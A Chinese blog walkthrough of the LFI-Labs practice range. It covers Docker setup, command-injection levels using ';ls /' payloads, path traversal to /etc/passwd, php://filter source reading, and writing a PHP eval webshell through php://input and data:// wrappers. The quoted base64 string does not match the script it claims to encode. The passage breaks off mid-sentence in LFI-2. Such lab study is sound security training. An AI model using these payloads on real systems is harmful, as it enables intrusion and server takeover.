LFI-Labs 完整训练
前言 从期末开始,学习这一块突然就一直处在十分尴尬的,迷迷糊糊好久,还是决定把这个简单的靶场搞起来刷完,虽然靶场标题显示为本地文件包含,不过事实上还有远程文件包含与命令执行。相关知识点虽然早就见识过了,在 Web 方向的刷题中一直都是老朋友,但老实说笔者对这些还是说不上十分熟悉,所以还是得专题特训一下。 由于涉及到的图片并不多,因此本文中出现的图片与博客部署位置相同,均走外网 CDN 实现全球加速,遇到加载问题请等待或刷新,若失效请及时联系本人。 特别感谢靶场作者 paralax
环境配置
由于本人主力 Linux 换为了 WSL 中的 Ubuntu 22.04,因此本次 LFI-Labs 靶场将直接部署于该环境下,为避免众多环境问题让时间成本剧增,将使用 Docker 直接部署原作者封装好的版本。话虽这么说,貌似 Docker WSL 本身就是庞大的时间成本。正文中一些容器内无法实现的操作将转为使用 Windows 本地部署的备用环境,直接 phpstudy 倒是相当方便。
要使用 Docker 部署首先就要安装环境,相关教程网上又多又细,这里就不多赘述,此处仅保留一份命令作存档便于查询。
代码语言:javascript复制# 1. 更新
sudo apt update
sudo apt upgrade
sudo apt full-upgrade
# 2. 安装必要的证书并允许 apt 包管理器使用以下命令通过 HTTPS 使用存储库
sudo apt install apt-transport-https ca-certificates curl software-properties-common gnupg lsb-release
# 3. 添加 Docker 的官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
# 4. 添加 Docker 官方库
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
# 5. 更新源列表
sudo apt update
# 6. 安装最新 Docker CE
sudo apt install docker-ce docker-ce-cli containerd.io docker-compose-plugin
# 7. 查看 Docker 服务器运行状态
sudo systemctl status docker
# 8. 启动命令
sudo systemctl start docker
# 9. 设为开机自启
sudo systemctl enable docker
# 10. 安装 Docker Compose
sudo pip install docker-compose
在上述部署中还存在一个问题就是 WSL 中并不支持使用 systemctl 命令,不过可以直接使用 service 和 chkconfig 命令替换,仅供参考的替换格式如下表所示:
daemon命令 | systemctl命令 | 备注 |
---|---|---|
service [服务] start | systemctl start [服务] | 启动服务 |
service [服务] stop | systemctl stop [服务] | 停止服务 |
service [服务] restart | systemctl restart [服务] | 重启服务 |
chkconfig [服务] on | systemctl enable [服务] | 设置服务开机启动 |
chkconfig [服务] off | systemctl disable [服务] | 设备服务禁止开机启动 |
当然最好的方法还是恢复 systemctl 命令,这也是可以实现的,不过毕竟是 WSL,修改成功与否还得看具体环境,因此在进行以下操作前最好还是做好备份,或者干脆使用替换命令即可。开启 systemd 直接执行以下命令:
代码语言:javascript复制sudo sh -c 'echo "[boot]nsystemd=true" >> /etc/wsl.conf'
其实就是在 etc 目录下创建个 wsl.conf 文件然后写入如下配置就行了。
代码语言:javascript复制[boot]
systemd=true
之后再重新进入子系统输入如下命令,当输出 systemd 则配置成功。
代码语言:javascript复制ps --no-headers -o comm 1
不过毕竟是 WSL,修改成功与否还得看具体环境,因此在进行以下操作前最好还是做好备份,或者干脆使用替换命令即可。
配置完 Docker 环境后直接执行如下命令把靶机文件拷贝到子系统:
代码语言:javascript复制git clone https://github.com/paralax/lfi-labs.git
之后再进入该靶机目录使用如下命令即可运行靶机:
代码语言:javascript复制sudo docker-compose up
默认映射到 8080 端口,因此直接访问子系统 IP 地址加端口号即可访问靶机。
CMD-1
- 打开页面如图,显示了一个警告表示 system() 不能执行空白命令,也就是说后台存在 system() 的调用,大概率可以被利用。点击显示隐藏的提示表示会执行 GET 方法传递的 cmd 变量。
- 都提示到这一步了,也没啥好说的了,直接使用 GET 方法传递 cmd 变量执行
ls /
命令列出根目录。
CMD-2
- 本题与前一题类似,就是提示换成了 POST 方法传递变量。值得注意的是页面中的表单就是以 POST 方法提交的,并且参数名就是 cmd。
- 所以直接写入命令
ls /
提交即可。
CMD-3
- 从页面变化来看可以发现本次传入的参数应该会作为 whois 命令的参数被执行,提示通过 GET 方法提交 domin 变量,由于惯性之前 GET 方法都是直接修改 URL 的,实测靶机中 GET 题的表单中都是 GET 方法并且变量名也设置好了,倒有些方便。
- 在既有命令基础上要执行其他命令直接使用分号分隔即可,当然也可使用逻辑运算符或者管道符(|),因为我们要执行的命令与既有代码完全无关,因此这里使用分号,输入
;ls /
提交即可。
CMD-4
- 本题知识换成了 POST 方法,同样表单中都已经设计好了,因此直接输入
;ls /
提交即可。
CMD-5
本题进入时就有一句提示 malformed domain name
,告诉我们输入的域名不符合要求,说明后台对表单数据有过滤。点开提示说不是所有需要注入的数据都在这个输入框,因此还提交了其他数据。F12 查看源码发现此处还提交了一个隐藏的 server 变量,并且变量值设置为了 whois.publicinterestregistry.net
。
涉及到了内容过滤以及未知用途的参数,方便起见此处就不进行黑盒测试了,直接审计源代码:
代码语言:javascript复制# 省略非核心代码
<?php
if (preg_match('/^[-a-z0-9] .a[cdefgilmnoqrstuwxz]|b[abdefghijmnorstvwyz]|c[acdfghiklmnoruvxyz]|d[ejkmoz]|e[cegrstu]|f[ijkmor]|g[abdefghilmnpqrstuwy]|h[kmnrtu]|i[delmnoqrst]|j[emop]|k[eghimnprwyz]|l[abcikrstuvy]|m[acdeghklmnopqrstuvwxyz]|n[acefgilopruz]|om|p[aefghklmnrstwy]|qa|r[eosuw]|s[abcdeghijklmnortuvyz]|t[cdfghjklmnoprtvwz]|u[agksyz]|v[aceginu]|w[fs]|y[et]|z[amw]|biz|cat|com|edu|gov|int|mil|net|org|pro|tel|aero|arpa|asia|coop|info|jobs|mobi|name|museum|travel|arpa|xn--[a-z0-9] $/', strtolower($_GET["domain"])))
{ system("whois -h " . $_GET["server"] . " " . $_GET["domain"]); }
else
{echo "malformed domain name";}
?>
可以看出后台对 domin 变量进行了十分复杂的正则匹配的白名单过滤,该过滤是否存在漏洞这里不懒得作研究,值得注意的是 server 变量并没有被过滤,因此直接修改该变量即可。其中 whois 命令的 -h 参数后指定要连接的 HOST 服务器,此处保持原样或直接删去均可,在这之后直接使用分号分隔即可执行任意命令,当然最好将我们要执行的这个命令后加上或逻辑运算符(||),这样后续的 domin 参数便不会干扰命令执行。因为是 GET 方式提交,所以直接修改 URL 如下即可:
代码语言:javascript复制?domain=h-t-m.top&server=whois.publicinterestregistry.net;ls / ||
拼接后的命令如下:
代码语言:javascript复制whois -h whois.publicinterestregistry.net;ls / || h-t-m.top
CMD-6
- 本题同前一题一致,仅改为了 POST 方法传递参数,因此直接修改 POST 数据即可。
HDR-1
开幕雷击,配色干扰严重,把页面内容划出来如下图:
其中警告提示 array_key_exists() 函数缺少一个参数,而隐藏提示则是接收一个通过 Cookie 传输的参数 TEMPLATE。
由于后续无论怎么测试都无法得出什么结论,因此直接审计源码:
代码语言:javascript复制<?php include("../common/header.php"); ?>
<!-- from https://www.owasp.org/index.php/Path_Traversal -->
<?php hint("will include the arg specified in the HTTP Cookie parameter "TEMPLATE""); ?>
<?php
$template = 'blue.php';
if ( array_key_exists( $_COOKIE['TEMPLATE'] ) )
$template = $_COOKIE['TEMPLATE'];
include ( dirname(FILE) . "/" . $template );
?>
array_key_exists() 函数原本应该接收两个参数,作用是判断数组中是否存在对应的键,然而源码中只提供了一个从 Cookie 处获取的参数,并未提供最重要的数组,而要修改文件包含的参数就很有必要使该函数返回真值。遗憾的是,关于如何绕过本就错误调用的该函数,笔者拿不出解决方案。但是修改源码自行添加数组的话本题还是很容易完成的,不过并没有必要直接将题目修改成我会做的样子,因此这一题还是暂时搁置。
LFI-1
- 打开页面即可看到两条警告,都来源于 include() 函数,分别提示参数为空以及其进一步导致的文件打开失败,值得注意的是报错信息也将当前页面的详细路径泄露了出来。而本题的隐藏提示则是通过 GET 方法传递 page 参数,当然,直接在输入框中输入即可。
访问文件
- 根据提示,本题的所传递的 page 参数大概率就是 include() 函数的参数,所以理论上我们输入什么,后台就可以打开什么。在上一关中我们并没有成功解题,但是那题目录下有一个 blue.php 文件,可以让页面出现与前一关一样的阴间配色。所以这里我们直接包含这个文件,输入
../HDR-1/blue.php
,即可得到如下页面。
当然,还可以输入 /etc/passwd
等路径直接读取更敏感刺激的内容。
读取脚本
上一步我们成功将指定文件的内容包含并且执行了脚本,但是很多时候对于脚本文件我们需要的可能是读取文本内容而不想让他被执行,毕竟只是执行的话,直接使用 URL 访问指定文件的效果也是一样的,而获取脚本内容的话就相当于白盒审计了!读取文本就需要使用到伪协议了,就像平常通过 http 协议或 ftp 协议直接使用 URL 对目标进行访问一样,PHP 中也支持一些带有 URL 风格的封装协议。PHP 伪协议的详细介绍可参考 官方文档,此处我们使用读取脚本内容常用的 php://filter 元封装器,可在打开数据流时进行筛选过滤操作,具有如下四个参数:
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
其中,只要将 read 参数设置为 base64 加密的过滤器,resource 参数设为指定文件路径,即可将读取的数据进行 base64 加密,加密后文件将不再是可执行的脚本,因此可以直接输出。继续以上一关的 blue.php 文件为例,使用如下 payload:
代码语言:javascript复制php://filter/read=convert.base64-encode/resource=../HDR-1/blue.php
然后浏览器便可回显加密后的脚本内容,解密就拿到源码了。
写入木马
伪协议的用法还有许多,其中比较值得在意的还是可以完成写入操作,我们可以直接利用伪协议来写入木马文件。这里以 php://input 以及 data:// 为例,他们都可以直接将自己所带入的数据流当作读取到的数据流,其中 php://input 的数据放在数据包中以 POST 方式提交,而 data:// 则直接在 URL 中即可完成。只要他们成功带入以下脚本,后台在包含完成后便会完成一句话木马的创建。
代码语言:javascript复制<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[h-t-m])?>');?>
要完成写入,还有一个重要前提,就是 PHP 配置文件中的 allow_url_include 与 allow_url_ fopen 均要被开启,至于他们的作用,看名字就知道了。随后直接进行写入即可,php://input 用法如下:
代码语言:javascript复制URL:
?page=php://input
数据包:
<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[h-t-m])?>');?>
data:// 的用法则如下:
代码语言:javascript复制?page=data://text/plain,<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[h-t-m])?>');?>
在 URL 存在一些过滤时,data:// 还可以直接传入密文并解密后再返回,比如上述 PHP 脚本的 base64 编码如下:
代码语言:javascript复制P3BhZ2U9ZGF0YTovL3RleHQvcGxhaW4sPD9waHAgZnB1dHMoZm9wZW4oJ211bWEucGhwJywndycpLCc8P3BocCBAZXZhbCgkX1BPU1RbaC10LW1dKT8 Jyk7Pz4=
其中加号等特殊字符需要自行进行编码,不然的话及其容易出错。base64 形式的用法如下:
代码语言:javascript复制?page=data://text/plain;base64,P3BhZ2U9ZGF0YTovL3RleHQvcGxhaW4sPD9waHAgZnB1dHMoZm9wZW4oJ211bWEucGhwJywndycpLCc8P3BocCBAZXZhbCgkX1BPU1RbaC10LW1dKT8+Jyk7Pz4=
LFI-2
打开页面依旧有两个警告,提示 include() 函数包含的参数为 includes/.php
并且包含失败,在隐藏提示中告诉我们本题使用 GET 方法接收一个 library 参数,并且会在其后拼接 .php
后再包含,结合此前的警告可以看出在参数之前还拼接了 includes/。此外隐藏提示还表示可通过空字符 来截断绕过末尾的 .php
话虽这么说,这个